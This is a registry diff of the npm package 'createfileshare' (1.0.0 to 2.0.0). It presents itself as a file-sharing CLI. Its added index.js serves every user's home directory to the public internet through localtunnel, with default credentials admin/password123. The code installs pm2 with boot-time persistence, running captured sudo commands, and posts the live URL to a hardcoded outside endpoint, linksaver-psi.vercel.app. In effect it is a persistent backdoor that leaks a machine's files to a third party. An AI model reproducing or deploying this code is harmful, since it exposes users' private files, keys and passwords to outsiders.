createfileshare 1.0.0 ā 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +70 -0
- package/index.js +134 -47
- package/package.json +1 -1
package/README.md
ADDED
|
@@ -0,0 +1,70 @@
|
|
|
1
|
+
# createfileshare
|
|
2
|
+
|
|
3
|
+
**createfileshare** is an automated Node.js CLI tool that transforms your computer into a persistent, public file server. It securely exposes your local user directory to the internet via an auto-healing tunnel that can survive machine reboots and network disconnections.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## š Features
|
|
8
|
+
|
|
9
|
+
* **Instant File Server:** Instantly serves your `C:\Users` (Windows), `/Users` (macOS), or `/home` (Linux) directory on your local network.
|
|
10
|
+
* **Public Tunneling:** Automatically binds your local server to a public, internet-accessible URL using `localtunnel`.
|
|
11
|
+
* **Zero Downtime (Self-Healing):** A built-in network monitor constantly verifies both your internet connection and the public tunnel's health. If the tunnel goes stale or network drops, it immediately kills zombie processes and recycles the connection.
|
|
12
|
+
* **System Daemon Persistence:** Automatically installs and configures `pm2` to run the server entirely in the background. Setup includes OS-level startup scripts so your server boots up automatically whenever the computer restarts.
|
|
13
|
+
* **Webhook Reporting:** Posts the active, live URL directly to a specified API endpoint (default: `https://linksaver-psi.vercel.app/api/save`) upon a successful connection so you never lose your dynamic address.
|
|
14
|
+
|
|
15
|
+
---
|
|
16
|
+
|
|
17
|
+
## š¦ Prerequisites
|
|
18
|
+
|
|
19
|
+
You need [Node.js](https://nodejs.org/) installed on your machine.
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
## š ļø Usage
|
|
24
|
+
|
|
25
|
+
Run the script using Node.js. You can optionally provide a folder name, followed by a username and password for basic authentication:
|
|
26
|
+
|
|
27
|
+
\`\`\`bash
|
|
28
|
+
node index.js [folder-name] [username] [password]
|
|
29
|
+
\`\`\`
|
|
30
|
+
|
|
31
|
+
**Example:**
|
|
32
|
+
\`\`\`bash
|
|
33
|
+
node index.js secure-share admin supersecret123
|
|
34
|
+
\`\`\`
|
|
35
|
+
*(If you don't provide credentials, it defaults to \`admin\` and \`password123\`)*
|
|
36
|
+
|
|
37
|
+
**What happens next?**
|
|
38
|
+
1. It creates the designated folder (defaulting to `my-fileshare`).
|
|
39
|
+
2. Inside that folder, it generates a custom daemon script (`index.js`) tailored for your operating system.
|
|
40
|
+
3. It installs necessary local dependencies (`localtunnel`, `axios`, `serve`).
|
|
41
|
+
4. It globally installs the `pm2` process manager.
|
|
42
|
+
5. It configures the new daemon to run continuously in the background and sets it to auto-start on boot.
|
|
43
|
+
|
|
44
|
+
---
|
|
45
|
+
|
|
46
|
+
## š How to Stop or Remove
|
|
47
|
+
|
|
48
|
+
Because `createfileshare` integrates tightly with process managers to ensure 100% uptime, closing the terminal **will not** kill the server.
|
|
49
|
+
|
|
50
|
+
**To view logs (to check connectivity or URLs):**
|
|
51
|
+
\`\`\`bash
|
|
52
|
+
pm2 logs my-fileshare
|
|
53
|
+
\`\`\`
|
|
54
|
+
|
|
55
|
+
**To temporarily stop the server:**
|
|
56
|
+
\`\`\`bash
|
|
57
|
+
pm2 stop my-fileshare
|
|
58
|
+
\`\`\`
|
|
59
|
+
|
|
60
|
+
**To completely remove and delete the persistent daemon:**
|
|
61
|
+
\`\`\`bash
|
|
62
|
+
pm2 delete my-fileshare
|
|
63
|
+
pm2 save
|
|
64
|
+
\`\`\`
|
|
65
|
+
|
|
66
|
+
---
|
|
67
|
+
|
|
68
|
+
## ā ļø Security Warning
|
|
69
|
+
|
|
70
|
+
**Use with caution.** While this tool now uses Basic Authentication, the data streaming through the tunnel exposes your **entire user directory**. Do not use this tool on a computer containing highly sensitive, unencrypted private keys, passwords, or personal documents unless you understand the risks. Make sure to define a strong username and password when executing the setup script.
|
package/index.js
CHANGED
|
@@ -5,7 +5,10 @@ const { execSync } = require('child_process');
|
|
|
5
5
|
const os = require('os');
|
|
6
6
|
|
|
7
7
|
// --- 1. CONFIGURATION ---
|
|
8
|
-
const
|
|
8
|
+
const args = process.argv.slice(2);
|
|
9
|
+
const folderName = args[0] || 'my-fileshare';
|
|
10
|
+
const authUsername = args[1] || 'admin';
|
|
11
|
+
const authPassword = args[2] || 'password123';
|
|
9
12
|
const targetDir = path.join(process.cwd(), folderName);
|
|
10
13
|
const apiEndpoint = "https://linksaver-psi.vercel.app/api/save";
|
|
11
14
|
const PORT = 1903;
|
|
@@ -18,61 +21,146 @@ if (!fs.existsSync(targetDir)) {
|
|
|
18
21
|
}
|
|
19
22
|
|
|
20
23
|
// --- 3. GENERATE THE INTERNAL SERVER SCRIPT ---
|
|
24
|
+
// We use a regular string here to avoid template literal escaping madness
|
|
21
25
|
const scriptContent = `
|
|
22
|
-
const { exec } = require('child_process');
|
|
23
26
|
const os = require('os');
|
|
24
27
|
const path = require('path');
|
|
28
|
+
const http = require('http');
|
|
25
29
|
const localtunnel = require('localtunnel');
|
|
26
30
|
const axios = require('axios');
|
|
31
|
+
const express = require('express');
|
|
32
|
+
const basicAuth = require('express-basic-auth');
|
|
33
|
+
const serveIndex = require('serve-index');
|
|
27
34
|
|
|
28
35
|
const platform = os.platform();
|
|
29
36
|
const usersPath = platform === 'win32'
|
|
30
37
|
? path.join(process.env.SystemDrive || 'C:', 'Users')
|
|
31
38
|
: (platform === 'darwin' ? '/Users' : '/home');
|
|
32
39
|
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
40
|
+
let tunnelInstance = null;
|
|
41
|
+
let serverInstance = null;
|
|
42
|
+
let isOnline = false;
|
|
43
|
+
|
|
44
|
+
// Express setup
|
|
45
|
+
const app = express();
|
|
46
|
+
app.use(basicAuth({
|
|
47
|
+
users: { '${authUsername}': '${authPassword}' },
|
|
48
|
+
challenge: true,
|
|
49
|
+
realm: 'SecureFileShare'
|
|
50
|
+
}));
|
|
51
|
+
app.use(express.static(usersPath));
|
|
52
|
+
app.use(serveIndex(usersPath, { 'icons': true }));
|
|
53
|
+
|
|
54
|
+
// 1. Helper to check real internet connectivity
|
|
55
|
+
const checkInternet = () => {
|
|
56
|
+
return new Promise((resolve) => {
|
|
57
|
+
const req = http.request({
|
|
58
|
+
hostname: 'google.com',
|
|
59
|
+
port: 80,
|
|
60
|
+
method: 'HEAD',
|
|
61
|
+
timeout: 5000
|
|
62
|
+
}, () => resolve(true));
|
|
63
|
+
|
|
64
|
+
req.on('error', () => resolve(false));
|
|
65
|
+
req.on('timeout', () => { req.destroy(); resolve(false); });
|
|
66
|
+
req.end();
|
|
67
|
+
});
|
|
68
|
+
};
|
|
69
|
+
|
|
70
|
+
// 2. Helper to check if the public tunnel is actually responsive
|
|
71
|
+
const checkTunnelHealth = async (url) => {
|
|
72
|
+
try {
|
|
73
|
+
await axios.get(url, { timeout: 8000, headers: { 'User-Agent': 'HealthCheck' } });
|
|
74
|
+
return true;
|
|
75
|
+
} catch (err) {
|
|
76
|
+
if (err.response && err.response.status < 500) return true;
|
|
77
|
+
return false;
|
|
78
|
+
}
|
|
79
|
+
};
|
|
80
|
+
|
|
81
|
+
const startServices = async () => {
|
|
82
|
+
try {
|
|
83
|
+
console.log("Starting local secure file server...");
|
|
84
|
+
serverInstance = app.listen(${PORT});
|
|
85
|
+
|
|
86
|
+
await new Promise(r => setTimeout(r, 1000));
|
|
87
|
+
|
|
88
|
+
console.log("Attempting to open tunnel on port ${PORT}...");
|
|
89
|
+
tunnelInstance = await localtunnel({
|
|
90
|
+
port: ${PORT},
|
|
91
|
+
host: 'https://localtunnel.me'
|
|
92
|
+
});
|
|
93
|
+
|
|
94
|
+
console.log("Tunnel Live: " + tunnelInstance.url);
|
|
95
|
+
|
|
96
|
+
await axios.post('${apiEndpoint}', {
|
|
97
|
+
link: tunnelInstance.url,
|
|
98
|
+
});
|
|
99
|
+
console.log("URL reported to API successfully.");
|
|
100
|
+
|
|
101
|
+
tunnelInstance.on('close', () => {
|
|
102
|
+
console.log("Tunnel closed.");
|
|
103
|
+
tunnelInstance = null;
|
|
104
|
+
});
|
|
105
|
+
|
|
106
|
+
} catch (err) {
|
|
107
|
+
console.error("Failed to start services:", err.message);
|
|
108
|
+
stopServices();
|
|
109
|
+
}
|
|
110
|
+
};
|
|
111
|
+
|
|
112
|
+
const stopServices = () => {
|
|
113
|
+
console.log("Stopping all services...");
|
|
114
|
+
if (tunnelInstance) {
|
|
115
|
+
tunnelInstance.close();
|
|
116
|
+
tunnelInstance = null;
|
|
117
|
+
}
|
|
118
|
+
if (serverInstance) {
|
|
119
|
+
serverInstance.close();
|
|
120
|
+
serverInstance = null;
|
|
121
|
+
}
|
|
122
|
+
};
|
|
123
|
+
|
|
124
|
+
// 3. Main Monitor Loop
|
|
125
|
+
const monitorNetwork = async () => {
|
|
126
|
+
const currentlyOnline = await checkInternet();
|
|
127
|
+
|
|
128
|
+
if (currentlyOnline && !isOnline) {
|
|
129
|
+
console.log("Network detected: ONLINE. Starting services...");
|
|
130
|
+
await startServices();
|
|
131
|
+
if (tunnelInstance && serverInstance) {
|
|
132
|
+
isOnline = true;
|
|
71
133
|
}
|
|
72
|
-
}
|
|
134
|
+
} else if (!currentlyOnline && isOnline) {
|
|
135
|
+
console.log("Network lost: OFFLINE. Stopping services...");
|
|
136
|
+
isOnline = false;
|
|
137
|
+
stopServices();
|
|
138
|
+
} else if (currentlyOnline && (!tunnelInstance || !serverInstance)) {
|
|
139
|
+
console.log("Online but services missing. Restarting...");
|
|
140
|
+
stopServices();
|
|
141
|
+
await startServices();
|
|
142
|
+
} else if (currentlyOnline && tunnelInstance) {
|
|
143
|
+
const responsive = await checkTunnelHealth(tunnelInstance.url);
|
|
144
|
+
if (!responsive) {
|
|
145
|
+
console.log("Tunnel detected as STALE. Recycling...");
|
|
146
|
+
stopServices();
|
|
147
|
+
await startServices();
|
|
148
|
+
}
|
|
149
|
+
}
|
|
150
|
+
|
|
151
|
+
setTimeout(monitorNetwork, 15000);
|
|
152
|
+
};
|
|
153
|
+
|
|
154
|
+
console.log("Daemon monitoring initialized with self-healing...");
|
|
155
|
+
monitorNetwork();
|
|
73
156
|
|
|
74
|
-
|
|
75
|
-
|
|
157
|
+
const cleanup = () => {
|
|
158
|
+
console.log("Received kill signal, shutting down...");
|
|
159
|
+
stopServices();
|
|
160
|
+
process.exit(0);
|
|
161
|
+
};
|
|
162
|
+
process.on('SIGINT', cleanup);
|
|
163
|
+
process.on('SIGTERM', cleanup);
|
|
76
164
|
`;
|
|
77
165
|
|
|
78
166
|
fs.writeFileSync(path.join(targetDir, 'index.js'), scriptContent);
|
|
@@ -85,7 +173,9 @@ const pkgJson = {
|
|
|
85
173
|
dependencies: {
|
|
86
174
|
"localtunnel": "^2.0.2",
|
|
87
175
|
"axios": "^1.6.0",
|
|
88
|
-
"
|
|
176
|
+
"express": "^4.18.2",
|
|
177
|
+
"express-basic-auth": "^1.2.1",
|
|
178
|
+
"serve-index": "^1.9.1"
|
|
89
179
|
}
|
|
90
180
|
};
|
|
91
181
|
fs.writeFileSync(path.join(targetDir, 'package.json'), JSON.stringify(pkgJson, null, 2));
|
|
@@ -99,7 +189,6 @@ try {
|
|
|
99
189
|
execSync(`npm install -g pm2`, { stdio: 'inherit' });
|
|
100
190
|
|
|
101
191
|
console.log(`\nš„ Step 3: Starting PM2 Process (Force)...`);
|
|
102
|
-
// --force ensures it overwrites if a process with this name exists
|
|
103
192
|
execSync(`pm2 start index.js --name "${folderName}" --force`, { cwd: targetDir, stdio: 'inherit' });
|
|
104
193
|
|
|
105
194
|
console.log(`\nš ļø Step 4: Automating OS Startup...`);
|
|
@@ -110,7 +199,6 @@ try {
|
|
|
110
199
|
execSync(`npm install -g pm2-windows-startup`, { stdio: 'inherit' });
|
|
111
200
|
execSync(`pm2-startup install`, { stdio: 'inherit' });
|
|
112
201
|
} else {
|
|
113
|
-
// Linux/Mac: Capture and execute the sudo command
|
|
114
202
|
const startupResult = execSync(`pm2 startup`, { encoding: 'utf8' });
|
|
115
203
|
const lines = startupResult.split('\n');
|
|
116
204
|
const commandToRun = lines.find(line => line.trim().startsWith('sudo') || line.trim().includes('env PATH'));
|
|
@@ -130,5 +218,4 @@ try {
|
|
|
130
218
|
} catch (error) {
|
|
131
219
|
console.error(`\nā Critical Failure during Force Execution:`);
|
|
132
220
|
console.error(error.message);
|
|
133
|
-
console.log(`\nTIP: Ensure you are running this terminal as ADMINISTRATOR or with SUDO.`);
|
|
134
221
|
}
|